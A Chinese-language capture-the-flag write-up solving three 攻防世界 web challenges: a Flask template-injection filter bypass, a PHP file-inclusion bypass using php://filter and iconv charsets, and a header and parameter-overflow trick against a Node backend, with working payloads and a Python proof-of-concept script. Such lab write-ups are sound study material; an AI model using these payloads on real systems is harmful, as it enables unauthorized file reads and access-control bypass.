刷题记录(三)
攻防世界-Confusion1
打开环境,主页导航有三个选项,其中注册和登陆页面报错404,但提示了flag的位置
在首页的url后面添加{{1+1}}发现系统存在SSTI漏洞。
使用经典payload进行尝试:
''.__class__.__mro__[2].__subclasses__()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()
结果报错,说明系统对class,subclasses等关键字进行了过滤。
request是Flask框架的一个全局变量,并且本系统没有对request关键字进行过滤,可以利用request.args绕过黑名单进行模板注入。
最终payload:
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
攻防世界-文件包含
题目给了源码
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
传入参数?filename=/etc/passwd
提示用了错误方法,尝试用伪协议将资源内容编码后外带,用php://filter加convert.base64-encode读取flag.php?filename=php://filter/read=convert.base64-encode/resource=flag.php
提示"do not hack"说明设置了黑名单过滤了敏感字符串,接下来fuzz一下哪些字符串被禁用。
结果发现base64,read关键字被过滤。尝试使用iconv.*
过滤器,该过滤器不支持参数,但可以使用输入/输出的编码名称组成过滤器名称。比如iconv("ASCII","UTF-8",$string)
该语句的作用是将$string从ascii编码转换成utf-8编码。接下来可以用以下字符集进行尝试
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
payload:
?filename=php://filter/convert.iconv.a编码.b编码/resource=flag.php
使用burpsuite对输入/输出编码组合进行爆破:
攻防世界-ez_curl
环境初始界面给了以下代码
<?php
highlight_file(__FILE__);
$url = 'http://back-end:3000/flag?';
$input = file_get_contents('php://input');
$headers = (array)json_decode($input)->headers;
for($i = 0; $i < count($headers); $i++){
$offset = stripos($headers[$i], ':');
$key = substr($headers[$i], 0, $offset);
$value = substr($headers[$i], $offset + 1);
if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
die('try hard');
}
}
$params = (array)json_decode($input)->params;
$url .= http_build_query($params);
$url .= '&admin=false';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
还有一个附件js代码:
const express = require('express');
const app = express();
const port = 3000;
const flag = process.env.flag;
app.get('/flag', (req, res) => {
if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
res.send(flag);
}else{
res.send('try hard');
}
});
app.listen({ port: port , host: '0.0.0.0'});
分析php代码,$input变量是通过file_get_contents('php://input')的方式获取,接着用到对$input变量进行json解码,因此传入的数据应该是json格式。
另外,当Content-Type为application/x-www-form-urlencoded且提交方法是POST方法时,$_POST数据与php://input数据等价的。我们可以通过这种方式构造参数上传。
再看js代码,
if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
res.send(flag);
}else{
res.send('try hard');
}
要求参数admin不包含false,且headers里的admin字段有true。但是请求是在php代码里构造的,以字符串拼接的形式携带了admin=false这个参数,所以js代码无法返回flag。
由于express的parameterLimit默认为1000,参数最大限制为1000,可以在请求上加1000个参数能把&admin=false挤掉。
在构造headers时要求里面有admin包含'true',只要字符串中包含true就行。而for循环中存在检测,存在admin:true
的键值对会触发die('try hard');
。
rfc规定一个field-name是由一个或多个ascii字符组成,不包括分隔符和空格。因此如果一个field-name的首字符是空格,那么这个请求的header就是非法的,会被丢弃,但是nodejs在处理这类情况的时候条件放松了。最终post内容:
{"headers": ["admin: x", " true: y"]}
poc脚本:
import json
import requests
from abc import ABC
url = "http://61.147.171.105:49903/"
datas = {"headers": ["admin:a"," true:a", "Content-Type: application/json"],
"params": {"admin": "true"}}
for i in range(1020):
datas["params"]["x" + str(i)] = i
headers = {
"Content-Type": "application/json"
}
json1 = json.dumps(datas)
print(json1)
resp = requests.post(url, headers=headers, data=json1)
print(resp.text)